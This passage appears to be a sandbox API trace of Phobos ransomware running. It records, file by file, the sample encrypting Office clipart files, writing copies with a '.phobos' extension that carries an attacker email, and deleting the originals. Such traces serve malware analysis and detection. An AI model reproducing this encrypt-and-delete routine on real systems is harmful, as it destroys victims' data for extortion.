1 [0057.420] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0057.420] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.420] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.420] CryptDestroyKey (hKey=0x10dc950) returned 1 [0057.420] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.420] CryptDestroyKey (hKey=0x10dc690) returned 1 [0057.420] CloseHandle (hObject=0x328) returned 1 [0057.420] CloseHandle (hObject=0x310) returned 1 [0057.421] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0057.422] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.422] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3120) returned 1 [0057.422] CloseHandle (hObject=0x310) returned 1 [0057.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0057.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.423] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.423] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.423] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc590) returned 1 [0057.423] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.423] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xc30, lpOverlapped=0x0) returned 1 [0057.695] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc40, dwBufLen=0xc40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc40) returned 1 [0057.695] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xc40, lpOverlapped=0x0) returned 1 [0057.696] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0057.696] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.696] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.696] CryptDestroyKey (hKey=0x10dc690) returned 1 [0057.696] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.696] CryptDestroyKey (hKey=0x10dc590) returned 1 [0057.696] CloseHandle (hObject=0x310) returned 1 [0057.696] CloseHandle (hObject=0x328) returned 1 [0057.697] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0057.698] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.698] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3026) returned 1 [0057.698] CloseHandle (hObject=0x328) returned 1 [0057.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0057.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.698] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.698] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.698] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0057.698] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.698] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xbd2, lpOverlapped=0x0) returned 1 [0057.702] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xbe0) returned 1 [0057.702] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xbe0, lpOverlapped=0x0) returned 1 [0057.703] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc8d0) returned 1 [0057.703] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.703] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.703] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0057.703] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.703] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0057.703] CloseHandle (hObject=0x328) returned 1 [0057.703] CloseHandle (hObject=0x310) returned 1 [0057.704] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0057.705] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.705] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4734) returned 1 [0057.705] CloseHandle (hObject=0x310) returned 1 [0057.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0057.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.705] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.705] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.705] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0057.705] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.705] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x127e, lpOverlapped=0x0) returned 1 [0057.709] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1280, dwBufLen=0x1280 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1280) returned 1 [0057.709] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1280, lpOverlapped=0x0) returned 1 [0057.710] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc8d0) returned 1 [0057.710] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.710] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.710] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0057.710] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.710] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0057.710] CloseHandle (hObject=0x310) returned 1 [0057.710] CloseHandle (hObject=0x328) returned 1 [0057.711] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0057.712] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.713] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=20578) returned 1 [0057.713] CloseHandle (hObject=0x310) returned 1 [0057.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0057.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.714] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.714] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.715] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca50) returned 1 [0057.715] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.715] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x5062, lpOverlapped=0x0) returned 1 [0057.731] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5070, dwBufLen=0x5070 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5070) returned 1 [0057.731] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x5070, lpOverlapped=0x0) returned 1 [0057.732] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc750) returned 1 [0057.732] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.732] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.732] CryptDestroyKey (hKey=0x10dc750) returned 1 [0057.732] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.732] CryptDestroyKey (hKey=0x10dca50) returned 1 [0057.732] CloseHandle (hObject=0x2fc) returned 1 [0057.732] CloseHandle (hObject=0x330) returned 1 [0057.733] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0057.734] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.734] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=14428) returned 1 [0057.734] CloseHandle (hObject=0x330) returned 1 [0057.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0057.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.735] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.735] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.735] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb90) returned 1 [0057.735] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.735] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x385c, lpOverlapped=0x0) returned 1 [0057.744] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3860, dwBufLen=0x3860 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3860) returned 1 [0057.744] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3860, lpOverlapped=0x0) returned 1 [0057.745] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0057.745] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.745] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.745] CryptDestroyKey (hKey=0x10dc690) returned 1 [0057.745] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.745] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0057.745] CloseHandle (hObject=0x330) returned 1 [0057.745] CloseHandle (hObject=0x2fc) returned 1 [0057.746] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0057.747] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.753] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3344) returned 1 [0057.753] CloseHandle (hObject=0x2fc) returned 1 [0057.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0057.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.754] 